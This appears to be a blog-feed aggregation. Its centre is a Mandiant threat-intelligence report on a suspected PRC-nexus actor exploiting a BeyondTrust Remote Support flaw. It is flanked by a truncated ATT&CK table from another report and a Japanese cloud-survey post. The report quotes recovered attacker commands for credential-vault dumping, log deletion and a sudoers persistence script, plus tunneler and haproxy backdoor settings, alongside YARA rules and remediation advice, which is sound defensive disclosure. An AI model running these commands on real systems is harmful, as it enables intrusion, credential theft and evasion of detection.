Discovery |
System Network Configuration Discovery |
CROSSROAD resolves the host's external IP via |
|
|
Discovery |
System Location Discovery |
CROSSROAD aborts its primary payload execution path when the IP-derived country code is |
|
|
Discovery |
System Information Discovery |
SHINYROAD fingerprints the victim hostname to derive a unique agent identifier. |
|
|
Discovery |
System Owner/User Discovery |
SHINYROAD incorporates the logged-on username into its unique agent identifier and C2 key derivation. |
|
|
Command and Control |
Ingress Tool Transfer |
CROSSROAD downloads |
|
|
Command and Control |
Non-Standard Port |
SHINYROAD custom binary C2 over TCP |
|
|
Command and Control |
Encrypted Channel: Symmetric Cryptography |
Custom binary C2 stream encrypted with a hardcoded handshake key, rotating to a host-specific key derived from the agent ID. |
|
|
Command and Control |
Data Obfuscation: Junk Data |
SHINYROAD generates randomized junk packets (traffic chaffing) to disrupt network signature matching. |
|
|
Command and Control |
Remote Access Tools: Remote Desktop Software |
Deployment of legitimate Famatech Radmin 3.x server components to victim hosts alongside the SHINYROAD backdoor. |
Table 6: MITRE ATT&CK techniques
Acknowledgements
GTIG and Mandiant would like to thank the ManageEngine Threat Analysis Lab (METAL) research team for their initial discovery of this activity, proactive telemetry sharing, and ongoing collaboration to help secure our mutual customer bases and the broader software ecosystem.
ARMORY CASTLE Exploits BeyondTrust
- Link: https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust/
- Published: 2026-10-15 23:00:00
- Fetched: 2026-10-16 06:56:31
詳細を表示
Written by: Jayson Frost, Bryce Greathouse, Brian Meyer, John Palmisano, Rajesh Rajeshirke, Steve Rasch, John Wolfram
Introduction
On October 15, BeyondTrust disclosed a vulnerability, CVE-2026-102764, impacting BeyondTrust Remote Support (formerly Bomgar) appliances. BeyondTrust Remote Support is an enterprise secure remote access solution that enables IT teams to securely access and troubleshoot remote endpoints. The successful exploitation of this vulnerability results in the arbitrary upload of files.
During an incident response engagement, Mandiant identified evidence that ARMORY CASTLE, a suspected PRC-nexus espionage threat actor (formerly tracked as UNC5221), exploited this vulnerability as a zero-day, in late August 2026. This blog describes how ARMORY CASTLE escalated privileges and established persistent access to compromised BeyondTrust Remote Support appliances following exploitation of CVE-2026-102764, and provides actionable guidance for defenders.
Organizations should prepare for potential widespread exploitation following this disclosure, as ARMORY CASTLE and other threat actors have historically conducted broad, opportunistic exploitation once the vulnerability becomes public.
Exploitation
Mandiant identified evidence of CVE-2026-102764 exploitation within the access, syslog, messages, thin-scc, brain and SSL log files, which are only accessible via an LUKS-encrypted partition which contains the /home directory. We strongly recommend that affected organizations immediately apply the security patches provided by BeyondTrust to remediate the vulnerability, and review additional guidance in their blog.
Post-Exploitation
Following the successful exploitation of CVE-2026-102764, Mandiant observed ARMORY CASTLE leverage multiple distinct TTPs to establish a foothold, escalate privileges, and enable lateral movement. Throughout the intrusion, ARMORY CASTLE leveraged a deep understanding of BeyondTrust appliance internals, as evidenced by their abuse of proprietary CLI utilities, startup configuration templates and local reverse-proxy routing. The threat actor used newly identified custom malware, the SAWFLY webshell and the BARECLAW tunneler to interact with the BeyondTrust device. Additionally, the actor routinely deleted appliance logs and endpoint artifacts to maintain access and evade detection.
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="ARMORY CASTLE BeyondTrust compromise sequence of events" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_1_ARMORY_CASTLE_BeyondTrust_comprom.max-1000x1000.jpg" />
</a>
<figcaption class="article-image__caption "><p>Figure 1: ARMORY CASTLE BeyondTrust compromise sequence of events</p></figcaption>
</figure>
</div>
</div>
Staging Webshell
After successful exploitation of CVE-2026-102764, ARMORY CASTLE initiated POST requests to /app_84304470%2Ephp. Mandiant was unable to recover the file associated with the POST requests. Approximately 11 minutes following the initial POST request, the file system recorded the creation of the SAWFLY webshell at the web root path /%SITE_SERVICE_ACCOUNT%/ingredi/app/laravel/public/. ARMORY CASTLE leveraged the SAWFLY webshell as one of their primary footholds within the environment over the course of the intrusion.
SAWFLY Webshell
SAWFLY (mangoapi.php) is an obfuscated, lightweight PHP webshell that implements bidirectional encrypted C2 communication using a custom Base32 transport layer and a 256-bit RC4 stream cipher. The webshell inspects incoming HTTP POST requests for the obfuscated parameter _c94mfe.
If the parameter is absent, the script immediately sets HTTP status 404 Not Found (http_response_code(404)) and exits to evade automated web crawlers and vulnerability scanners. When the _c94mfe parameter is supplied, the webshell Base32-decodes the payload, decrypts it using RC4 with a hardcoded 32-byte key and executes the resulting PHP code via @eval(). Any non-null return value from the evaluated code is RC4-encrypted with the same key, Base32-encoded, and echoed back to the client.
Privilege Escalation via SUID Bit Permissions
The SAWFLY webshell ran under the site's service account, an unprivileged local user. To escalate privileges, the threat actor copied the system shell executable (/bin/sh) to the file /usr/bin/dbus-authd.
The threat actor then modified the file's ownership to root and enabled Set User ID (SUID) permissions. When a binary has SUID permissions enabled, it executes with the privileges of the file's owner (root) rather than the user running the command, effectively granting the threat actor a persistent root-level backdoor on the host system.
After establishing a foothold through the web shell, the actor elevated from the web service account to root-level control of the appliance host. This gave them access to every credential the appliance stored or brokered and the ability to modify files that survive reboot and configuration reset.
Credential Harvesting: BeyondTrust Vault Extraction
Mandiant observed the threat actor attempt to harvest credentials directly from the appliance's native secrets management database. To achieve this, the actor leveraged the /ns/sbin/bt-secrets binary which is a proprietary, administrative Command Line Interface (CLI) utility native to BeyondTrust appliances used to manage, store, and retrieve passwords, API keys, and endpoint credentials.
The threat actor systematically iterated through several CLI syntax variations to locate and dump the appliance's credential vault:
/ns/sbin/bt-secrets get -p %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get vault
Figure 2: Recovered Commands from message logs
First, the threat actor attempted to target the vault for a specific site service account in order to pull passwords and keys assigned exclusively to that profile.
Next, they issued a fallback command, targeting the global, appliance-level password safe to dump all stored administrative credentials.
The threat actor concluded their interaction with the bt-secrets binary by forcibly removing the records stored in /home/bomgar/log/bt-secrets.log and any archived files.
/usr/sbin/sh -c 'rm -f /home/bomgar/log/bt-secrets.log /home/bomgar/log/bt-secrets.log.* 2>/dev/null;'
Figure 3: Recovered Commands from message logs
Persistence
For long-term persistent access, Mandiant observed the threat actor target the BeyondTrust configuration templates to grant passwordless root privileges to the site service account.
First, the threat actor created the /home/bomgar/sbin/post_boot.d directory, which is reserved for scripts executed automatically at system startup. Within this directory, they created a shell script named zz-root-persist.
The contents of the zz-root-persist script indicate that it first checks if the user account is already granted passwordless root privileges within the /ns/config/sudoers.template file. If the entry is missing, the script appends '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' to the template. This entry added to the sudoers template grants the site user account passwordless administrative privileges to execute any command on the host system.
Finally, the script executes '/ns/sbin/bt-sysconfig' --no-restart misc, which forces the appliance backend to immediately parse /ns/config/sudoers.template and rebuild the active /etc/sudoers file. This strategy ensures the threat actor's privilege escalation survives system reboots and configuration resets, which would normally overwrite manual changes made directly to /etc/sudoers.
#!/bin/bash
grep -qF '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' '/ns/config/sudoers.template' || echo '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' >> '/ns/config/sudoers.template'
'/ns/sbin/bt-sysconfig' --no-restart misc
Figure 4: Contents of zz-root-persist
Anti-Forensics
Throughout their unauthorized access to the appliance, Mandiant observed multiple instances where the threat actor attempted to impair defenses and hinder detection by systematically deleting system, web server, and application-level logs.
Originating from the SAWFLY webshell, the threat actor executed the following command using elevated sudo privileges to delete active logs across both host and site-specific directories:
'rm -f \'/ns/log/auth.log\' \'/ns/log/ssl.log\' \'/ns/log/proto-handler.log\' \'/ns/log/bt-docker.log\' \'/ns/log/http-access.log\' \'/ns/log/http-errors.log\' \'/ns/log/php-fpm.log\' \'/ns/log/php-fpm-access.log\' \'/ns/log/php_debug.log\' \'/ns/log/php_web_errors.log\' \'/var/log/messages\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_access.log\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_error.log\' /tmp/sshauth.*'
Figure 5: Recovered Command
Lateral Movement: BeyondTrust Admin Session Abuse
After the compromise of the BeyondTrust device, the threat actor pivoted into the BeyondTrust Remote Support application to perform reconnaissance via compromised Administrator credentials. First, the threat actor leveraged the Administrator account to log into the web administrative portal.
{
"event": "login",
"status": "success",
"target": "web/login",
"who": "[REDACTED_USERNAME] using password",
"who_ip": "[REDACTED_IP]"
}
Figure 6: BeyondTrust Syslog Entry
After testing their initial access and verifying their ability to temporarily join the native Administrators group policy, the threat actor altered their strategy for long-term persistence. The actor directly modified the compromised account's permissions, upgrading both local Jump Items and Team permissions from No Access to Administrator. Jump Items are individual systems or devices that are made available for remote access within a Jump Group, enabling administrators to organize and control access to remote systems. This configuration change granted the threat actor permanent, unrestricted authorization to launch remote sessions to downstream systems populated within the appliance's Jump Item list.
{
"event": "user_changed",
"old_username": "[REDACTED]",
"old_permissions:jump_item_role:default:id": 1,
"new_permissions:jump_item_role:default:id": 3,
"old_permissions:jump_item_role:default:name": "No Access",
"new_permissions:jump_item_role:default:name": "Administrator",
"old_permissions:jump_item_role:teams:id": 1,
"new_permissions:jump_item_role:teams:id": 3,
"old_permissions:jump_item_role:teams:name": "No Access",
"new_permissions:jump_item_role:teams:name": "Administrator"
}
Figure 7: BeyondTrust Syslog Entry
Internal Reconnaissance
Once the threat actor obtained elevated administrative privileges, Mandiant observed the threat actor establish a remote support session to target internal endpoints.
Once connected, the threat actor leveraged the appliance’s built-in support tools to request and obtain full file-system access. The threat actor utilized the native BeyondTrust Remote Support file transfer service to download and exfiltrate sensitive internal documents useful for network reconnaissance, such as software inventories, directly from the user's desktop environment.
BARECLAW Tunneler
Mandiant observed the threat actor tunnel traffic through the BeyondTrust device via a custom SOCKS5 proxy tunneler. BARECLAW is a tunneler written in C that provides a SOCKS5 proxy service carried over the WebSocket transport and relays TCP connections between a remote client and destinations. BARECLAW statically embeds a CivetWeb WebServer to supply its HTTP and WebSocket functionality and utilizes OpenSSL for TLS. BARECLAW is configurable and provides the option to require authentication, to encrypt data between the client and tunneler, to restrict reachable destinations to specific CIDR ranges, to chain traffic to an upstream proxy, and to modify its default WebSocket endpoint and listening ports. TLS is enabled by providing a PEM certificate while authentication, encryption, destination filtering, and TLS are disabled by default.
BARECLAW receives its configuration through CLI input and it provides a CLI option menu:
Usage: %s [options]
--listen PORT plain ws port (default 8080)
--listen-tls PORT wss port (default 8443, needs --ssl-cert)
--ssl-cert FILE PEM certificate (enables wss)
--token STRING shared secret (?token= auth + obfs seed)
--obfs enable XOR stream obfuscation
--timeout SEC idle timeout (default 300)
--connect-timeout SEC target connect timeout (default 10)
--max-tunnels N concurrent tunnel limit (default 100)
--allow-net CIDR allowed target subnet (repeatable)
--upstream [socks5://]host:port route via upstream SOCKS5
--threads N civetweb worker threads (default 64)
--ws-path PATH websocket endpoint path (default /wsproxy)
-q, --quiet zero output (all logging suppressed)
-h this help
Figure 8: BARECLAW CLI Option Menu
The threat actor executed BARECLAW through the following command line arguments:
/tmp/ingredi_ws --listen 19800 --token %REDACTED% --obfs -q --ws-path /uidchanarge
Figure 9: BARECLAW full Command-Line Arguments
This command line configures BARECLAW to listen on TCP port 19800 and create the WebSocket endpoint /uidchanarge on the victim system. Clients are required to authenticate using the token specified in the command line arguments while the -q argument suppresses the tunneler’s logging. Tunneled data is encrypted with an XOR-based routine derived from that token and an 8-byte value provided by the client at the start of the session. The lack of the --ssl-cert and --listen-tls arguments in the CLI options means TLS was not enabled in this specific instance.
Modifications to Haproxy.conf
In addition to the creation of the BARECLAW tunneler, Mandiant observed the threat actor modify the /ns/config/haproxy.conf file in order for BARECLAW to be accessible directly from the internet. The HAProxy service running on BeyondTrust devices acts a reverse proxy for the device that accepts incoming requests on behalf of the BeyondTrust server and forwards the request to the appropriate backend services running on the local system (such as web interfaces, administration portals, or application gateways) based on the request's port or URL path.
The haproxy.conf file is the primary configuration script that dictates how the BeyondTrust appliance handles, routes, and secures incoming traffic. The threat actor modifications first established an Access Control List (ACL) named wswsws to monitor incoming traffic for the specific URI path /uidchanarge. When a request matching this path is detected, HAProxy bypasses normal appliance web services and routes the traffic to a custom backend designated as webskd3.
acl wswsws path /uidchanarge
use_backend webskd3 if wswsws
Figure 10: ACL Modification to haproxy.conf
Next, the webskd3 backend routes the incoming web stream locally (127.0.0.1 / localhost) to TCP port 19800, where the BARECLAW utility is actively listening. This local-only binding ensures that the backdoor listener remains completely hidden from external network scans, as it can only be reached internally via HAProxy's local redirection.
backend webskd3
mode http
server websocks5srv 127.0.0.1:19800
option http-keep-alive
timeout server 28s
timeout tunnel 5h
Figure 11: Backend Route Modification to haproxy.conf
Attribution
GTIG attributes the zero-day exploitation of CVE-2026-102764 and the subsequent deployment of SAWFLY and BARECLAW to the suspected PRC-nexus espionage actor ARMORY CASTLE (formerly tracked as UNC5221). The tooling and TTPs leveraged within this intrusion align with previously observed activity from ARMORY CASTLE.
GTIG has previously reported ARMORY CASTLE exploiting multiple vulnerabilities in edge appliances and deploying an extensive suite of custom tooling to support their objectives, ranging from passive backdoors and webshells to trojanized components of edge devices. ARMORY CASTLE has been active as early as October 2023 and has targeted a wide range of countries and verticals during their operations.
Outlook and Implications
In past campaigns, ARMORY CASTLE has conducted widespread and opportunistic exploitation following the public disclosure of vulnerabilities it had exploited selectively as zero-days, racing to infiltrate target organizations before patches are deployed. It is possible that we will observe similar widespread exploitation attempts associated with CVE-2026-102764.
GTIG assesses with high confidence that ARMORY CASTLE will continue to leverage zero-day vulnerabilities in edge devices to gain access to environments to support their espionage objective. Defenders should also prepare for the possibility that following disclosure of CVE-2026-102764, ARMORY CASTLE may conduct widespread exploitation similar to what GTIG observed in 2024 following the disclosure of CVE-2023-46805 and CVE-2024-21887.
Remediation and Hardening
Organizations that have not yet applied the BT26-05 patch should immediately assess their exposure and risk, and review additional guidance from BeyondTrust in their blog. CVE-2026-102764 affects all supported Remote Support versions up to 26.2.3 and allows an unauthenticated remote attacker to perform file operations on the appliance, which can lead to host-level control and access to every credential the appliance stores or brokers. Any appliance that was reachable from the internet on a vulnerable version during the exploitation window should be treated as potentially compromised until it has been reviewed. Mandiant recommends a phased, patch-first approach that balances containment against disruption to support operations.
Immediate Mitigation
Organizations should choose among the following options based on their risk tolerance, evidence of compromise, and operational needs.
Option 1: Apply the BT26-05 Patch (Mandiant Recommended)
-
Remote Support SaaS: BeyondTrust applied the patch to all SaaS tenants on October 9, 2026. No customer action is required for the appliance itself. The credential and configuration steps in Option 3 still apply.
-
Self-hosted, version 24.3.1 or later: Apply the BT26-05-RS patch from the
/applianceinterface, or confirm it was applied automatically if the appliance is subscribed to automatic updates. -
Self-hosted, older than 24.3.1: Upgrade to a supported version, then apply the patch. Upgrading closes the vulnerability but does not remediate prior exposure.
-
If the patch is not visible in
/appliance, open a case with BeyondTrust Support referencing BT26-05.
Option 2: Isolate Compromised or Suspected Appliances
-
Preserve before acting: Snapshot virtual appliances with memory and export the disk before any change or reboot. For B Series hardware and SaaS tenants, request forensic preservation through BeyondTrust Support. Collect syslog, reverse-proxy or WAF, and perimeter firewall logs for the full exposure window, since an attacker with host access can delete on-appliance logs. Mandiant determined that the actor removed logs throughout the incident.
-
Isolate at the perimeter: Block inbound traffic to the appliance's public address at the firewall rather than in
/appliance, so the configuration remains intact for review. -
Restrict egress: Deny outbound traffic except to BeyondTrust update and licensing endpoints, and log every denied connection.
-
Terminate access paths: End active support sessions and disable new sessions, Jump Clients, Jumpoints, and API accounts from
/login. Disable rather than delete so the audit trail survives. -
Rebuild rather than clean: Redeploy appliances with confirmed or unknown compromise status from a clean, fully patched image. Customers cannot audit the appliance host file system, and host-level persistence survives reboot and configuration reset. Restore only a configuration backup dated before the exposure window, or restore the newest backup while isolated and complete the review in Option 3, Part B, before reconnecting anything. Issue a new TLS certificate and redeploy Jump Clients, Jumpoints, and the representative console from the rebuilt appliance.
Note: Isolation and session termination interrupt support operations. Organizations should coordinate with help desk and vendor-support stakeholders before proceeding.
Option 3: Apply Targeted Compensating Controls
The following controls reduce exposure and limit post-exploitation impact. They do not substitute for the patch.
Part A: Network Restrictions
-
Restrict access to the
/loginand/applianceadministrative interfaces by IP or network segment at the appliance level. Only representative console, customer portal, and Jump Client traffic should be reachable from the internet. -
Where operationally possible, place a reverse proxy or WAF with full URI logging in front of the appliance to keep a record of request paths that the appliance cannot alter.
Part B: Credential Rotation and Configuration Review
-
Revoke sessions and enrollments: End all active support sessions, then redeploy Jump Clients, Jumpoints, and the representative console from the patched or rebuilt appliance to invalidate existing tokens.
-
Rotate credentials in dependency order:
/applianceadministrative credentials; /login administrators and local users; API client secrets; security provider bind accounts and SAML signing keys; Remote Support Vault and integrated Password Safe or Privileged Remote Access (PRA) credentials, rotated at the target system; integration credentials (SMTP, syslog, Information Technology Service Management (ITSM) connectors, outbound event secrets); and any credential typed into a support session during the window. -
Review the /login configuration against a pre-window baseline: user and role changes, particularly Jump Item roles raised to Administrator; group and session policies; API accounts; security providers; Jump Items and Jumpoints; and outbound event or syslog destinations. Remove anything without a change record or a named owner.
-
Review support session reports for the window, including file transfers, to establish which endpoints were accessed and what left them. Every endpoint touched is in scope for downstream hunting.
Note: Rotate credentials only after the appliance has been patched or rebuilt. Rotating earlier exposes the new credentials to an attacker who still controls the appliance.
Part C: Control Plane Restrictions
-
Require SAML single sign-on with phishing-resistant MFA for all
/loginusers, and remove local accounts except one vaulted break-glass account with alerting on use. -
Ensure the built-in Admin account is configured with Multi-Factor Authentication (MFA) in accordance with the official BeyondTrust Two-Factor Authentication Guidelines.
-
Set the default Jump Item role in every group policy to No Access, and grant roles through policy rather than per user.
-
Scope API accounts to the minimum permission set, with a named automation owner for any account holding user or Jump Item management rights, and rotate API secrets on a schedule.
-
Keep privileged credentials in Password Safe or an external vault with credential injection rather than in the Remote Support Vault, and store only non-interactive service account credentials on the appliance.
-
Apply default-deny outbound filtering from the appliance, allowing only BeyondTrust endpoints and the organization's own syslog and directory servers.
Part D: Logging and Detection Engineering
Logging and Visibility
-
Forward appliance syslog to a SIEM over TLS with retention that covers a multi-month exposure window, and collect reverse-proxy or WAF and perimeter firewall logs for the appliance's address.
-
Export
/loginsession, team activity, and user audit reports on a schedule.
Detection Engineering
-
Account and policy changes:
user_changedevents that raise a Jump Item or team role;user_added,api_account, andsecurity_providerevents with no change ticket; any change to outbound events or syslog destinations. -
Authentication:
/loginsuccess from residential-broadband or commercial-VPN address space, and administrative logins outside business hours. -
Session activity: file-transfer events, and sessions started by accounts whose roles changed during the window.
-
Request paths: at the reverse proxy or WAF, paths outside the known Remote Support path set, including unknown .php paths and WebSocket upgrades from outside support staff and endpoint address ranges.
-
Anti-forensics: gaps in syslog forwarding from the appliance; an interruption bounded by a single session is a strong indicator of log tampering.
Indicators of Compromise (IOCs)
To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.
File Indicators
|
Filename |
Description |
SHA-256 |
|
app_84304470%2Ephp |
Staging Webshell |
N/A |
|
mangoapi.php |
SAWFLY Webshell |
dc14e215269a93fdbc4c1a80b984c23faf7af0911c6dbb85309796a6f2ae95fb |
|
ingredi_ws |
BARECLAW Tunneler |
1f19b9a27d79c11bda00a1e8faf74a7fdd683d38ccef1b60df2fd0307e3aa462 |
Detections
YARA Rules
rule G_Hunting_Webshell_SAWFLY_1 {
meta:
author = "Google Threat Intelligence Group"
strings:
$b32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" ascii wide
$rc4 = "range(0,255)" ascii wide
$pack = "pack('H*'," ascii wide
$eval = "@eval(" ascii wide
$code404 = "http_response_code(404)" ascii wide
condition:
filesize < 20KB and
all of them
}rule G_Hunting_Backdoor_BARECLAW_1 {
meta:
author = "Google Threat Intelligence Group"
strings:
$s1 = "[%s ws_socks5d] " ascii wide
$s2 = "--obfs requires --token" ascii wide
$s3 = "mux: %s (frame[%lu]: %s)" ascii wide
$s4 = "cannot create stream pump/writer thread (stream %d)" ascii wide
$s5 = "reject: bad or missing token from %s" ascii wide
$s6 = "listening on %s path=%s (token=%s obfs=%s max_tunnels=%d threads=%d)" ascii wide
$s7 = "--ws-path must start with '/'" ascii wide
$b_xorshift = { 48 c1 e0 17 48 31 c1 48 89 f0 48 c1 e8 1a 48 31 f0 48 31 c8 48 c1 e9 11 48 31 c8 }
condition:
uint32(0) == 0x464c457f and (5 of ($s*)) or ($b_xorshift and (3 of ($s*)))
}
Google Security Operations (SecOps)
Google SecOps customers have access to these broad category rules and more under the Mandiant Hunting, Mandiant Frontline Threats, and Mandiant Intel Emerging Threats rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:
-
Echo Pipes Base64 To Shell
-
Base64 Encoded Shell Command Execution
-
Low Severity Endpoint Detection Cluster on Host
-
Suspicious Curl Download to tmp
-
Suspicious Curl Network Connection to Staging Directory
Acknowledgements
We appreciate BeyondTrust for their collaboration against this threat.
Google Cloud Japan Blog
2026 年度版クラウド・インフラ最新動向。最優先はサイバー攻撃、次いでレガシー・属人化対応と AI 対応
- Link: https://cloud.google.com/blog/ja/products/ai-machine-learning/latest-trends-in-cloud-and-infrastructure-2026-edition/
- Published: 2026-10-15 11:00:00
- Fetched: 2026-10-15 12:18:31
詳細を表示
こんにちは、Google Cloud Japan です。
2024 年の調査では、インフラ担当者の悩みの上位を運用管理の属人化や老朽化、コストが占めていました。2026 年の調査では、その顔ぶれが入れ替わっています。
Google Cloud Japan は、Google Cloud のイベントに参加したことがある企業ユーザーを対象にオンライン アンケートを実施し、1,231 名(約 1,000 社)の回答を「2026 年度版クラウド・インフラ最新動向」にまとめました。調査期間は 2026 年 6 月 22 日から 7 月 22 日です。2024 年の調査と比べながら、主な結果を紹介します。
▶ 2026 年度版クラウド・インフラ最新動向をダウンロードする
インフラ課題の顔ぶれが入れ替わった
利用中の IT インフラの課題でトップになったのは、サイバー攻撃への対応で 32.3% でした。回答者のおよそ 3 人に 1 人が選んでいます。2 位以降は、レガシー システムの老朽化と EOS(サポート終了)対応(26.9%)、運用管理の属人化(26.5%)、AI など新技術への対応(24.7%)と続きます。
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="02-chart-infra-issues-2024-2026" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/02-chart-infra-issues-2024-2026.max-1000x1000.png" />
</a>
</figure>
</div>
</div>
2024 年は上位のほとんどを運用管理の属人化や老朽化、コストが占めていましたが、2026 年はサイバー攻撃への対応が 1 位になりました。2024 年の上位 5 項目に入っていなかった AI など新技術への対応も、4 位に入っています。
2 位と 3 位の老朽化と属人化は、今あるシステムをどう引き継ぐかという課題です。4 位の AI への対応は、新しい技術をどう取り込むかという課題です。
生成 AI は、この両方に使えます。担当のエンジニアが減り、中身を知る人が限られてきた既存システムでは、AI がコードや構成を読み解いて保守や移行を手伝います。新しいシステムでは、少人数でも開発を速く進められるので、市場の変化にすばやく応えられます。後で紹介するとおり、回答者の 44.7% がすでに AI 駆動開発を取り入れています。
マルチクラウドが定着、オンプレミスはクラウドへ
主要なインフラにパブリック クラウドを選んだ回答者は 65.8% で、3 分の 2 近くがクラウドを中心にシステムを動かしています。
今後の戦略で最も多いのはマルチクラウドで、41.0% です。今マルチクラウドを使っている回答者の 90.2% は今後も続けると答えており、複数のクラウドを使い分ける運用が定着しています。
ハイブリッド クラウドの割合は、2024 年とほぼ同じです。動きが出ているのはオンプレミス中心の層で、43.3% がクラウドへ移る予定です。その 7 割以上は、まずハイブリッドから始めます。
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="03-chart-onprem-next-2026" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/03-chart-onprem-next-2026.max-1000x1000.png" />
</a>
</figure>
</div>
</div>
脱 VMware は過半数に。ただし規模で進め方が違う
VMware を利用している回答者は 33.7% でした。そのうち、利用を徐々に減らす(37.6%)、別のインフラに移す(18.6%)という回答を合わせると 56.1% で、2024 年の 48.8% から 7.3 ポイント増えています。一方で、今の環境を使い続けるという回答も 28.7% あり、移行する層としない層に分かれました。
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="04-chart-vmware-2024-2026" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/04-chart-vmware-2024-2026.max-1000x1000.png" />
</a>
</figure>
</div>
</div>
できる限り早く別のインフラに移すという回答が 11.8% から 18.6% に増え、現状のまま使い続けるという回答は 35.0% から 28.7% に減っています。
内製化と AI 駆動開発は一緒に進む
開発体制を外部委託中心とする回答者は、現在の 20.2% から今後は 13.2% に減る見通しです。内製を重視する層と、内製と外部委託のバランスを取る層を合わせた割合は 61.4% から 65.2% に増えます。すでに内製中心の回答者のうち、外部委託に戻ると答えたのは 1.7% だけでした。
AI 駆動開発をすでに取り入れている回答者は、全面導入と一部導入を合わせて 44.7% です。検討中を含めると 69.1% になります。
開発体制ごとに見ると、差がはっきり出ます。内製重視の層と、内製と外部委託を組み合わせる層では、AI 駆動開発の導入率がどちらも 54.2% でした。外部委託重視の層では 22.6% で、半分以下にとどまります。自社で開発を進めているチームほど、AI を開発プロセスに取り込んでいます。
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="05-chart-aidev-by-structure-2026" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/05-chart-aidev-by-structure-2026.max-1000x1000.png" />
</a>
</figure>
</div>
</div>
コンテナは本番で普及、データベースはクラウド化へ
コンテナを本番環境で使っている回答者は 39.8% で、2024 年の 35.7% から 4.1 ポイント増えました。サーバーレスの本番利用は 34.1% です。
データベースは、利用規模の上位 4 製品(SQL Server、MySQL、Oracle、PostgreSQL のオンプレミス版)だけで 55.5% を占め、まだオンプレミスが中心です。ただ、オンプレミスのデータベースを主に使う回答者 606 名に今後を聞くと、オンプレミス中心を続けると答えたのは 21.1% でした。45.0% がクラウドとの併用へ、27.2% がクラウドのデータベース サービス中心へ移ると答えています。クラウド中心の回答者がオンプレミスに戻る割合は 4.6% です。
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="06-chart-database-next-2026" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/06-chart-database-next-2026.max-1000x1000.png" />
</a>
</figure>
</div>
</div>
半数近くが AI エージェントを導入、運用の仕組みづくりも始まる
AI エージェントをすでに業務に組み込んでいる回答者は 47.4% です。一部の業務で使っているのが 29.1%、全社で使っているのが 18.3% でした。AI や機械学習を動かす環境には、35.3% がクラウドの GPU や TPU を挙げています。
使う段階に入ると、次に必要になるのが運用の仕組みです。生成 AI の運用管理を指す LLMOps は、16.7% が一部または全面的に導入し、21.2% が採用を検討しています。一方で、Site Reliability Engineering (SRE) や Platform Engineering を聞いたことがないという回答は 49.3% で、2024 年からあまり変わっていません。運用への関心は、AI の運用に集まっています。
クラウド選びは、国内と環境性能も重視
クラウドを選ぶときに国内のデータセンターを重視する回答者は 63.6% でした。AI でも同じ流れがあり、国内の規制やセキュリティ要件に沿ったソブリン AI には、導入済み、具体的に検討中、調査段階を合わせて 26.8% が動き出しています。今後の検討対象とした回答者を含めると、約 7 割が関心を持っています。
環境への配慮も、選ぶときの基準の 1 つです。電力使用効率(PUE)などの GX(グリーン トランスフォーメーション)性能を考慮する回答者は 62.8% でした。
CCoE があると、何が変わる?
クラウドのガバナンスが効いていないと答えた割合は、2024 年の 41.6% から 32.8% に下がりました。社内のクラウド利用ガイドラインを整備している組織は 49.1%、クラウド専門組織(CCoE)を置いてガバナンスを効かせている組織は 15.4% です。
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="07-chart-governance-2024-2026" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/07-chart-governance-2024-2026.max-1000x1000.png" />
</a>
</figure>
</div>
</div>
この体制の違いが、課題への対応状況にそのまま表れています。クラウド コストの最適化に対応できている割合は、ガバナンスが効いていない組織では 41.1% ですが、CCoE がある組織では 74.6% です。高度なセキュリティ対策である DevSecOps でも、47.8% と 83.6% で大きな差があります。
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="08-chart-ccoe-effect" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/08-chart-ccoe-effect.max-1000x1000.png" />
</a>
</figure>
</div>
</div>
人材育成で特に何もしていない組織は、2024 年の 39.8% から 19.4% に減りました。社内勉強会(42.3%)や認定資格の取得支援(32.7%)など、現場で工夫している様子がうかがえます。特に社内勉強会は、2024 年の 33.1% から大きく増えました。その一方、自由記述には「人材不足で取り組めていない」「完全に自己啓発にゆだねられている」といった声も寄せられました。
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="09-chart-training-2024-2026" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/09-chart-training-2024-2026.max-1000x1000.png" />
</a>
</figure>
</div>
</div>
レポートでは Google Cloud での進め方も紹介
